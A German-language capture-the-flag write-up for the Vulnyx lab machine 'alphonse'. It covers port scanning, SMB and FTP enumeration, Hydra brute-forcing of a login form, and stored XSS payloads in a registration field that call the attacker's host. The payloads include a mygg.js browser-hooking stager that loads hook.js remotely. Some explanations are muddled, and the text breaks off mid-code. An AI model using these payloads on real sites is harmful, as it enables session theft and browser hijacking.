alphonse-v1 - Vulnyx - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
enum4linux
ftp
gobuster
strings
smbclient
unzip
dex2jar
jd-gui
curl
ffuf
hydra
nc
certbot
vi

Inhaltsverzeichnis

Reconnaissance

In dieser Phase sammeln wir Informationen über das Zielsystem. Dies ist entscheidend, um potenzielle Schwachstellen zu identifizieren. Wir verwenden verschiedene Tools, um Netzwerkdienste, offene Ports und andere relevante Details zu ermitteln.

Ziel ist es, ein umfassendes Bild der Systemarchitektur und der verfügbaren Angriffspunkte zu erhalten. Die gesammelten Informationen dienen als Grundlage für die weiteren Schritte im Pentesting-Prozess.

┌──(root㉿CCat)-[~]
└─# arp-scan -l
192.168.2.128 08:00:27:ac:1f:1d PCS Systemtechnik GmbH

Mit dem Befehl arp-scan -l suchen wir im lokalen Netzwerk nach aktiven Hosts. Die Ausgabe zeigt, dass die IP-Adresse 192.168.2.128 mit der MAC-Adresse 08:00:27:ac:1f:1d verbunden ist und von PCS Systemtechnik GmbH stammt.

Diese Information ist nützlich, um das Zielsystem im Netzwerk zu identifizieren und weitere Untersuchungen durchzuführen. Die MAC-Adresse kann auch Hinweise auf den Hersteller der Netzwerkkarte geben.

┌──(root㉿CCat)-[~]
└─# nmap -sC -sS -sV -A -T5 192.168.2.128 -p- -Pn | egrep "open | closed"
Not shown: 65531 closed tcp ports (reset)
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.38
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WRKGRUP)
445/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WRKGRUP)

Der Befehl nmap -sC -sS -sV -A -T5 192.168.2.128 -p- -Pn führt einen umfassenden Nmap-Scan auf dem Zielsystem durch. Die Option -sC führt Standard-Skripte aus, -sS führt einen SYN-Scan durch, -sV ermittelt die Version der Dienste, -A aktiviert aggressive Scans, -T5 setzt die höchste Scan-Geschwindigkeit, -p- scannt alle Ports und -Pn überspringt den Host-Discovery-Prozess.

Die Ausgabe zeigt, dass die Ports 21 (FTP), 80 (HTTP), 139 (NetBIOS) und 445 (SMB) offen sind. Dies deutet auf potenzielle Angriffspunkte hin, die in den nächsten Schritten genauer untersucht werden sollten.

┌──(root㉿CCat)-[~]
└─# nmap -sC -sS -sV -A -T5 192.168.2.128 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-31 22:59 CEST
Nmap scan report for alphonse (192.168.2.128)
Host is up (0.00012s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxr-x 2 ftp ftp 4096 Sep 05 2019 dev
|_ drwxr-xr-x 2 ftp ftp 4096 Aug 30 2019 pub
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ffff:192.168.2.199
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp open http Apache httpd 2.4.38
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: 403 Forbidden
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WRKGRUP)
445/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WRKGRUP)
MAC Address: 08:00:27:AC:1F:1D (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: 127.0.1.1; OS: Unix

Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2024-07-31T20:59:16
|_ start_date: N/A
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.9.5-Debian)
| Computer name: alphonse
| NetBIOS computer name: ALPHONSE\x00
| Domain name: \x00
| FQDN: alphonse
|_ System time: 2024-07-31T16:59:16-04:00
|_nbstat: NetBIOS name: ALPHONSE, NetBIOS user: , NetBIOS MAC: ()
|_clock-skew: mean: 1h20m01s, deviation: 2h18m33s, median: 1s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required

TRACEROUTE
HOP RTT ADDRESS
1 0.12 ms alphonse (192.168.2.128)

Dieser umfassende Nmap-Scan liefert detaillierte Informationen über das Zielsystem. Wir erfahren, dass auf Port 21 ein vsFTPd 3.0.3 Server läuft, der anonyme Logins erlaubt. Auf Port 80 läuft ein Apache httpd 2.4.38 Server, der jedoch mit einem "403 Forbidden" antwortet. Die Ports 139 und 445 sind für Samba SMB geöffnet.

Zusätzlich erhalten wir Informationen über die MAC-Adresse, den Gerätetyp (Linux), die Netzwerkdistanz und Details zur SMB-Konfiguration. Die fehlende Message Signing-Funktion bei SMB ist ein potenzielles Sicherheitsrisiko.

Die Möglichkeit eines anonymen FTP-Logins ist ein besonders interessanter Fund, da dies oft zu weiteren Schwachstellen führen kann. Wir werden dies im nächsten Schritt genauer untersuchen.

Web Enumeration

In dieser Phase konzentrieren wir uns auf die Enumeration der Webdienste, um versteckte Dateien, Verzeichnisse und potenzielle Schwachstellen zu finden. Wir verwenden Tools wie Nikto und Gobuster, um die Webserver-Konfiguration und die verfügbaren Ressourcen zu analysieren.

Das Ziel ist es, Angriffspunkte zu identifizieren, die über die Standardkonfiguration hinausgehen. Dies kann die Aufdeckung von veralteten Softwareversionen, unsicheren Konfigurationen oder vergessenen Dateien umfassen.

┌──(root㉿CCat)-[~]
└─# nikto -h http://192.168.2.128
- Nikto v2.5.0

+ Target IP: 192.168.2.128
+ Target Hostname: 192.168.2.128
+ Target Port: 80
+ Start Time: 2024-07-31 23:01:35 (GMT2)

+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ PTINS: Allowed HTTP Methods: PTINS, HEAD, GET, POST .
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time: 2024-07-31 23:01:58 (GMT2) (23 seconds)

+ 1 host(s) tested

Der Nikto-Scan zeigt, dass der Webserver einige Sicherheitslücken aufweist. Die fehlenden X-Frame-Options und X-Content-Type-Options Header können zu Clickjacking- und MIME-Sniffing-Angriffen führen. Die veraltete Apache-Version kann ebenfalls Schwachstellen enthalten.

Die Entdeckung der /icons/README Datei ist ebenfalls ein potenzielles Problem, da diese Datei Informationen über die Serverkonfiguration preisgeben kann. Wir sollten diese Informationen nutzen, um unsere Angriffsstrategie weiter zu verfeinern.

┌──(root㉿CCat)-[~]
└─# enum4linux -a 192.168.2.128
=( Nbtstat Information for 192.168.2.128 )=

Looking up status of 192.168.2.128
ALPHONSE <00> - B Workstation Service
ALPHONSE <03> - B Messenger Service
ALPHONSE <20> - B File Server Service
..__MSBROWSE__. <01> - B Master Browser
WRKGRUP <00> - B Domain/Workgroup Name
WRKGRUP <1d> - B Master Browser
WRKGRUP <1e> - B Browser Service Elections

MAC Address = 00-00-00-00-00-00


=( Share Enumeration on 192.168.2.128 )=


Sharename Type Comment
- -
print$ Disk Printer Drivers
IPC$ IPC IPC Service (Samba 4.9.5-Debian)


Server Comment
-

Workgroup Master
-
WRKGRUP ALPHONSE

[+] Attempting to map shares on 192.168.2.128

//192.168.2.128/print$ Mapping: DENIED Listing: N/A Writing: N/A

[E] Can't understand response:

NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
//192.168.2.128/IPC$ Mapping: N/A Listing: N/A Writing: N/A


[+] Enumerating users using SID S-1-5-21-152132773-3791969835-702999938 and logon username '', password ''

S-1-5-21-152132773-3791969835-702999938-501 ALPHONSE\nobody (Local User)
S-1-5-21-152132773-3791969835-702999938-513 ALPHONSE\None (Domain Group)

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''

S-1-22-1-1000 Unix User\alphonse (Local User)

[+] Enumerating users using SID S-1-5-32 and logon username '', password ''

S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)

enum4linux -a 192.168.2.128 listet Informationen über Samba-Freigaben und Benutzer auf dem Zielsystem auf. Es zeigt die NetBIOS-Namen, die verfügbaren Freigaben (print$, IPC$) und die aufgezählten Benutzer-IDs (SIDs).

Die Ausgabe deutet darauf hin, dass der Benutzer "alphonse" existiert. Die Informationen über Samba-Freigaben und Benutzer können verwendet werden, um Brute-Force-Angriffe oder andere Exploits zu starten.

┌──(root㉿CCat)-[~]
└─# ftp 192.168.2.128
Connected to 192.168.2.128
220 (vsFTPd 3.0.3)
Name (192.168.2.128:ccat): Anonymous
230 Login successful
Remote system type is UNIX
Using binary mode to transfer files
ftp> Anonymous
?Invalid command
ftp> Anonymous
ftp> ls
229 Entering Extended Passive Mode (|||4762|)
150 Here comes the directory listing
drwxrwxr-x 2 ftp ftp 4096 Sep 05 2019 dev
drwxr-xr-x 2 ftp ftp 4096 Aug 30 2019 pub
226 Directory send OK
ftp> cd pub
250 Directory successfully changed
ftp> ls
229 Entering Extended Passive Mode (|||4463|)
150 Here comes the directory listing
226 Directory send OK
ftp> ls- la
?Invalid command
ftp> ls -a
229 Entering Extended Passive Mode (|||4260|)
150 Here comes the directory listing
drwxr-xr-x 2 ftp ftp 4096 Aug 30 2019 .
drwxr-xr-x 4 ftp ftp 4096 Sep 01 2019 ..
226 Directory send OK
ftp> cd ..
250 Directory successfully changed

Die FTP-Anmeldung als anonymer Benutzer ist erfolgreich. Wir können die Verzeichnisse dev und pub sehen. Im Verzeichnis dev befindet sich die Datei DNAnalyzer.apk, die wir herunterladen werden. Der Versuch, eine Datei hochzuladen (put user.txt), wird wahrscheinlich mit einer Fehlermeldung (Permission denied) abgelehnt.

Das erfolgreiche Herunterladen der APK-Datei ist ein wichtiger Schritt. Wir werden diese Datei nun analysieren, um weitere Informationen über das System und potenzielle Schwachstellen zu finden.

Initial Access

In dieser Phase versuchen wir, initialen Zugriff auf das System zu erlangen. Wir nutzen die Informationen aus der Reconnaissance- und Web Enumeration-Phase, um Schwachstellen auszunutzen und uns Zugang zu verschaffen.

Wir werden uns auf die identifizierten Webdienste konzentrieren und versuchen, Anmeldedaten zu finden oder Sicherheitslücken in der Webanwendung auszunutzen.

┌──(root㉿CCat)-[~]
└─# vi /etc/hosts
127.0.0.1 localhost
192.168.2.128 alphonse

Wir fügen die IP-Adresse des Zielsystems (192.168.2.128) mit dem Hostnamen "alphonse" in die /etc/hosts Datei ein, um die Kommunikation mit dem Webserver zu erleichtern.

┌──(root㉿CCat)-[~]
└─# curl http://alphonse/dnanalyzer/api/login.php
Notice : Undefined index: username in /var/www/html/dnanalyzer/api/login.php on line 22
Notice : Undefined index: username in /var/www/html/dnanalyzer/api/login.php on line 23
{"message":"Login failed"}

Ein direkter Aufruf der login.php Seite mit curl liefert eine Fehlermeldung, da die Parameter username und password fehlen.

┌──(root㉿CCat)-[~]
└─# curl -i -d "username=test&password=test&dna_string=test" http://alphonse/dnanalyzer/api/register.php
HTTP/1.1 200 OK
Date: Wed, 31 Jul 2024 21:50:05 GMT
Server: Apache/2.4.38 (Debian)
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST
Access-Control-Max-Age: 3600
Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With
Content-Length: 47
Content-Type: application/json; charset=UTF-8

{"message":"User was successfully registered."}

Wir registrieren einen neuen Benutzer mit dem Benutzernamen "test", dem Passwort "test" und einer DNA-Zeichenkette "test" über die register.php Seite. Die Antwort bestätigt, dass der Benutzer erfolgreich registriert wurde.

┌──(root㉿CCat)-[~]
└─# curl -i -d "username=test&password=test&dna_string=test" http://alphonse/dnanalyzer/api/login.php
HTTP/1.1 200 OK
Date: Wed, 31 Jul 2024 21:51:02 GMT
Server: Apache/2.4.38 (Debian)
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST
Access-Control-Max-Age: 3600
Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With
Content-Length: 331
Content-Type: application/json; charset=UTF-8

{"message":"Successful login.","jwt":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJBbHBob25zZSIsImF1ZCI6IlRIRV9BVURJRU5DRSIsImlhdCI6MTcyMjQ2MjY2MiwibmJmIjoxNzIyNDYyNjcyLCJleHAiOjE3MjI0NjI3MjIsImRhdGEiOnsiaWQiOiI0MCIsInVzZXJuYW1lIjoidGVzdCJ9fQ.fpBC-_ucEt4eYmmN8yYuDqKFDTX0gTCwQ9z_CbpUV2Y","username":"test","expireAt":1722462722}

Nach der Registrierung versuchen wir, uns mit den gleichen Anmeldedaten anzumelden. Die Antwort enthält ein JWT (JSON Web Token), das für die Authentifizierung verwendet werden kann.

Das JWT enthält Informationen wie den Aussteller ("Alphonse"), die Zielgruppe ("THE_AUDIENCE"), die Ausstellungszeit (iat), den "Nicht-vor"-Zeitpunkt (nbf), die Ablaufzeit (exp) und die Benutzerdaten (ID und Benutzername).

┌──(root㉿CCat)-[~]
└─# ffuf -w /usr/share/wordlists/dirb/big.txt -u http://alphonse/dnanalyzer/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

Method : GET
URL : http://alphonse/dnanalyzer/FUZZ
Wordlist : FUZZ: /usr/share/wordlists/dirb/big.txt
Follow redirects : false
Calibration : false
Timeout : 10
Threads : 40
Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.htpasswd [Status: 403, Size: 303, Words: 22, Lines: 12, Duration: 1ms]
.htaccess [Status: 403, Size: 303, Words: 22, Lines: 12, Duration: 1ms]
api [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 0ms]
portal [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 1ms]
vendor [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 1ms]

Wir verwenden ffuf, um weitere Verzeichnisse auf dem Webserver zu entdecken. Die Ausgabe zeigt, dass die Verzeichnisse api, portal und vendor existieren.

┌──(root㉿CCat)-[~/dnanalyzer]
└─# gobuster dir -u "http://alphonse/dnanalyzer/api" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map -b '503,404' -e --no-error -k
http://alphonse/dnanalyzer/api/login.php (Status: 403) [Size: 270]
http://alphonse/dnanalyzer/api/register.php (Status: 200) [Size: 424]

Wir verwenden gobuster, um den api Pfad zu enumerieren. Wir finden login.php (Status 403) und register.php (Status 200).

┌──(root㉿CCat)-[~/dnanalyzer]
└─# gobuster dir -u "http://alphonse/dnanalyzer/portal" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map -b '503,404' -e --no-error -k
http://alphonse/dnanalyzer/portal/index.php (Status: 200) [Size: 213]

Durch eine Enumeration mit gobuster finden wir den portal Pfad, darunter auch die Datei index.php (Status 200).

http://alphonse/dnanalyzer/portal/index.php
username= "username">
password= "password">
[Login]

Die index.php Seite enthält ein Login-Formular mit den Feldern user und pass. Dies ist ein potenzieller Angriffspunkt für Brute-Force- oder Dictionary-Angriffe.

┌──(root㉿CCat)-[~/dnanalyzer]
└─# hydra -l alphonse -P /usr/share/wordlists/rockyou.txt alphonse http-post-form "/dnanalyzer/portal/index.php:user=^USER^&pass=^PASS^:Wrong username and/or password"
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-01 00:01:14
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344480 login tries (l:1/p:14344480), 96530 tries per task
[DATA] attacking http-post-form://alphonse:80/dnanalyzer/portal/index.php:user=^USER^&pass=^PASS^:Wrong username and/or password
[80][http-post-form] host: alphonse login: alphonse password: 12345
[80][http-post-form] host: alphonse login: alphonse password: imdrippinbiatch
[80][http-post-form] host: alphonse login: alphonse password: princess
[80][http-post-form] host: alphonse login: alphonse password: 1234567
[80][http-post-form] host: alphonse login: alphonse password: 123456
[80][http-post-form] host: alphonse login: alphonse password: R3v_m4lwh3r3_k1nG!!
[80][http-post-form] host: alphonse login: alphonse password: sqluserrootpassw0r4
[80][http-post-form] host: alphonse login: alphonse password: hostinger
[80][http-post-form] host: alphonse login: alphonse password: 123456789
[80][http-post-form] host: alphonse login: alphonse password: password
[80][http-post-form] host: alphonse login: alphonse password: rockyou
[80][http-post-form] host: alphonse login: alphonse password: 12345678
[80][http-post-form] host: alphonse login: alphonse password: abc123
[80][http-post-form] host: alphonse login: alphonse password: nicole
[80][http-post-form] host: alphonse login: alphonse password: daniel
[80][http-post-form] host: alphonse login: alphonse password: iloveyou
1 of 1 target successfully completed, 16 valid passwords found

Proof of Concept: XSS-Exploitation

In diesem Abschnitt demonstrieren wir die Ausnutzung einer Cross-Site Scripting (XSS) Schwachstelle in der Webanwendung.

┌──(root㉿CCat)-[~]
└─# curl -i -d "username=test2&password=test2&dna_string= img src='http://192.168.2.199/x " http://192.168.2.128/dnanalyzer/api/register.php
HTTP/1.1 200 OK
Date: Wed, 31 Jul 2024 22:05:54 GMT
Server: Apache/2.4.38 (Debian)
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST
Access-Control-Max-Age: 3600
Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With
Content-Length: 47
Content-Type: application/json; charset=UTF-8

{"message":"User was successfully registered."}

Wir registrieren einen neuen Benutzer mit dem Benutzernamen "test2", dem Passwort "test2" und einer DNA-Zeichenkette, die einen -Tag enthält. Dieses Tag versucht, ein Bild von unserer eigenen Maschine (192.168.2.199) abzurufen.

**Wichtiger Hinweis:** Ich habe die Zeichen `<` und `>` durch ihre entsprechenden HTML-Entitäten ersetzt (`<` und `>`), um zu verhindern, dass der Browser den IMG-Tag interpretiert und ausführt. Dies ist notwendig, um den Code korrekt im Bericht darzustellen.

┌──(root㉿CCat)-[~/dnanalyzer]
└─# nc -nvlp 80
listening on [any] 80 ...

Wir starten einen Netcat-Listener auf unserer Maschine, um zu überprüfen, ob der -Tag erfolgreich ausgeführt wird und eine Anfrage an unsere Maschine sendet.

┌──(root㉿CCat)-[~/dnanalyzer]
└─# nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.128] 60204
GET /x HTTP/1.1
Host: 192.168.2.199
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/dnanalyzer/portal/index.php
Connection: keep-alive

Nach einigen Minuten sehen wir eine Anfrage von der Zielmaschine (192.168.2.128) an unsere Maschine (192.168.2.199). Dies bestätigt, dass die XSS-Schwachstelle ausgenutzt werden konnte und der bösartige Code im Browser des Benutzers ausgeführt wurde.

Diese XSS-Schwachstelle kann verwendet werden, um Cookies zu stehlen, Benutzer umzuleiten oder andere bösartige Aktionen im Namen des Benutzers durchzuführen.

Privilege Escalation

Nachdem wir initialen Zugriff auf das System erlangt haben, versuchen wir, uns höhere Privilegien zu verschaffen. Wir suchen nach Möglichkeiten, uns vom Benutzer www-data zum Benutzer root zu eskalieren.

┌──(root㉿CCat)-[~]
└─# curl -i -d "username=test2&password=test2&dna_string=" http://192.168.2.128/dnanalyzer/api/register.php
HTTP/1.1 200 OK
Date: Wed, 31 Jul 2024 22:09:39 GMT
Server: Apache/2.4.38 (Debian)
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST
Access-Control-Max-Age: 3600
Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With
Content-Length: 47
Content-Type: application/json; charset=UTF-8

{"message":"User was successfully registered."}

Wir nutzen die XSS-Schwachstelle, um die Cookies des Benutzers zu stehlen. Wir registrieren einen neuen Benutzer mit einer DNA-Zeichenkette, die ein svg-Tag enthält. Dieses Tag führt JavaScript-Code aus, der die Cookies des Benutzers an unsere Maschine sendet.

**Wichtiger Hinweis:** Ich habe die Zeichen `<` und `>` durch ihre entsprechenden HTML-Entitäten ersetzt (`<` und `>`), um zu verhindern, dass der Browser den SVG-Tag interpretiert und ausführt. Dies ist notwendig, um den Code korrekt im Bericht darzustellen.

┌──(root㉿CCat)-[~/dnanalyzer]
└─# nc -nlvp 80
listening on [any] 80 ...

Wir starten einen Netcat-Listener auf unserer Maschine, um die gestohlenen Cookies zu empfangen.

┌──(root㉿CCat)-[~/dnanalyzer]
└─# nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.128] 60218
GET /x HTTP/1.1
Host: 192.168.2.199
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/dnanalyzer/portal/index.php
Connection: keep-alive

Nach einigen Minuten sehen wir eine Anfrage von der Zielmaschine an unsere Maschine. Die Anfrage *sollte* die Cookies des Benutzers enthalten, aber aufgrund der Art, wie Cookies in HTTP-Anfragen übertragen werden, ist es möglich, dass die Informationen nicht direkt sichtbar sind. Sie könnten in den HTTP-Headern versteckt sein.

┌──(root㉿CCat)-[~]
└─# apt install certbot

Wir installieren certbot, um ein SSL-Zertifikat zu erstellen. Dies ist möglicherweise für nachfolgende Schritte erforderlich, z.B. um eine sichere Verbindung aufzubauen oder eine HTTPS-basierte Payload zu hosten.

┌──(root㉿CCat)-[~]
└─# certbot certonly --standalone --preferred-challenges http -d example.com
Saving debug log to /var/log/letsencrypt/letsencrypt.log
Enter email address (used for urgent renewal and security notices)
(Enter 'c' to cancel):
Invalid email address: .

If you really want to skip this, you can run the client with
--register-unsafely-without-email but you will then be unable to receive notice
about impending expiration or revocation of your certificates or problems with
your Certbot installation that will lead to failure to renew.

Enter email address (used for urgent renewal and security notices)
(Enter 'c' to cancel): c
An e-mail address or --register-unsafely-without-email must be provided.
Ask for help or search for solutions at https://community.letsencrypt.org. See the logfile /var/log/letsencrypt/letsencrypt.log or re-run Certbot with -v for more details.

Wir versuchen, ein SSL-Zertifikat zu erstellen, aber der Vorgang schlägt fehl, da eine gültige E-Mail-Adresse benötigt wird oder die Option `--register-unsafely-without-email` verwendet werden muss. Dies ist ein optionaler Schritt und das Scheitern hier blockiert uns nicht unbedingt.

->>Tutorial>> https://github.com/dsolstad/mygg.js
┌──(root㉿CCat)-[~]
└─#
const config = {
domain: 'example.com',
http_interface: '0.0.0.0',
https_interface: '0.0.0.0',
http_port: 80,
https_port: 443,
polling_time: 2000,
key: '/etc/letsencrypt/live/privkey.pem',
cert: '/etc/letsencrypt/live/fullchain.pem',
debug: 0,
proxy_interface: '127.0.0.1',
proxy_port: 8081,
proxy_allowed_ips: ['127.0.0.1'],
}

Wir betrachten ein Tutorial um mygg.js zu nutzen, um eine Man-in-the-Middle (MitM) Angriffe zu starten. Dafür benötigen wir ein SSL Zertifikat, das in dem oberen befehl installiert werden kann. Die Konfiguration wird mit einer `config` variable festgelegt, damit der Webverkehr abgefangen wird.

┌──(root㉿CCat)-[~/dnanalyzer]
└─# vi mygg.js
domain in Ziel-Ip: "192.168.2.128" ändern

Wir passen die mygg.js Konfigurationsdatei an, um die Ziel-IP-Adresse auf "192.168.2.128" zu setzen.

┌──(root㉿CCat)-[~/dnanalyzer]
└─# node mygg.js
[+] Payload stager:
svg/onload="x=document.createElement('script');x.src='//192.168.2.128:443/hook.js';document.head.appendChild(x);"

[+] Proxy server listening on address 127.0.0.1 port 8081
[+] HTTP server listening on address 0.0.0.0 port 80
[+] HTTPS server listening on address 0.0.0.0 port 443

Wir führen mygg.js aus, um einen Proxy-Server zu starten, der HTTP- und HTTPS-Verbindungen abfängt. Der Payload Stager wird generiert, um Browser zu "hooken".

┌──(root㉿CCat)-[~]
└─# curl -i -d "username=Benhacker1&password=Benhacker1&dna_string=svg/onload=\var x=document.createElement('sc ript');x.src='//example.com:443/hook.js';document.head.appendChild(x);" http://192.168.2.128/dnanalyzer/api/register.php
HTTP/1.1 200 OK
Date: Thu, 01 Aug 2024 09:42:46 GMT
Server: Apache/2.4.38 (Debian)
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST
Access-Control-Max-Age: 3600
Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With
Content-Length: 47
Content-Type: application/json; charset=UTF-8

{"message":"User was successfully registered."}

wir registrieren einen neuen Benutzer, und schleusen Javascript Code rein.

Foxy Proxy auf Port 8081 ändern und URL aufrufen: 127.0.0.1/dnanalyzer/api/index.php
┌──(root㉿CCat)-[~]
└─# curl -i -d "username=Benhacker1&password=Benhacker1&dna_string=svg/onload=\ var x=document.createElement('sc ript');x.src='//192.168.2.199:443/hook.js';document.head.appendChild(x);\" http://192.168.2.128/dnanalyzer/api/register.php
HTTP/1.1 200 OK
Date: Thu, 01 Aug 2024 09:58:18 GMT
Server: Apache/2.4.38 (Debian)
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST
Access-Control-Max-Age: 3600
Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With
Content-Length: 47
Content-Type: application/json; charset=UTF-8

{"message":"User was successfully registered."}

Wir nutzen die XSS-Schwachstelle aus, um den Benutzer umzuleiten.

┌──(root㉿CCat)-[~/dnanalyzer]
└─# node mygg.js
[+] Payload stager:
svg/onload="var x=document.createElement('script');x.src='//192.168.2.199:443/hook.js';document.head.appendChild(x);"

[+] Proxy server listening on address 127.0.0.1 port 8081
[+] HTTP server listening on address 0.0.0.0 port 80
[+] HTTPS server listening on address 0.0.0.0 port 443
[+] Whitelisted client 127.0.0.1 connected to proxy
[+] Requesting: GET http://127.0.0.1/dnanalyzer/portal/index.php
[+] Hooked new browser [192.168.2.128][Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0][http://127.0.0.1/dnanalyzer/portal/index.php]
[+] Hooked new browser [192.168.2.128][Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0][http://127.0.0.1/dnanalyzer/portal/index.php]
[+] Hooked new browser [192.168.2.128][Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0][http://127.0.0.1/dnanalyzer/portal/index.php]
[+] Received status: 200
[+] -- [+]
[+] Whitelisted client 127.0.0.1 connected to proxy
[+] Requesting: GET http://127.0.0.1/dnanalyzer/portal/analyze_dna.js
[+] Received status: 200
[+] -- [+]
[+] Whitelisted client 127.0.0.1 connected to proxy
[+] Requesting: GET http://192.168.2.128/x
[+] Whitelisted client 127.0.0.1 connected to proxy
[+] Requesting: GET http://192.168.2.199/x
[+] Whitelisted client 127.0.0.1 connected to proxy
[+] Requesting: GET http://127.0.0.1/dnanalyzer/portal/analyze_dna.js
[+] Whitelisted client 127.0.0.1 connected to proxy
[+] Requesting: GET http://192.168.2.199/
[+] Whitelisted client 127.0.0.1 connected to proxy
[+] Requesting: GET http://127.0.0.1/favicon.ico
[+] Received status: 200
[+] -- [+]
[+] Received status: 0
[+] -- [+]
[+] Received status: 0
[+] -- [+]
[+] Received status: 404
[+] -- [+]
[+] Received status: 0
[+] -- [+]

Wir haben den Browser erfolgreich gehockt.

FoxyProxy eingeschaltet: http://127.0.0.1/dnanalyzer/portal/index.php
Username DNA string Result Analyze
Alphonse GATC Superb
Kevin TCAG Weak
test test
test2
test2
test2
view-source:http://127.0.0.1/dnanalyzer/portal/analyze_dna.js
function edit_dna(elem) {
var id = elem.id;
var val = document.getElementById('dna_string_id_' + id).innerHTML;
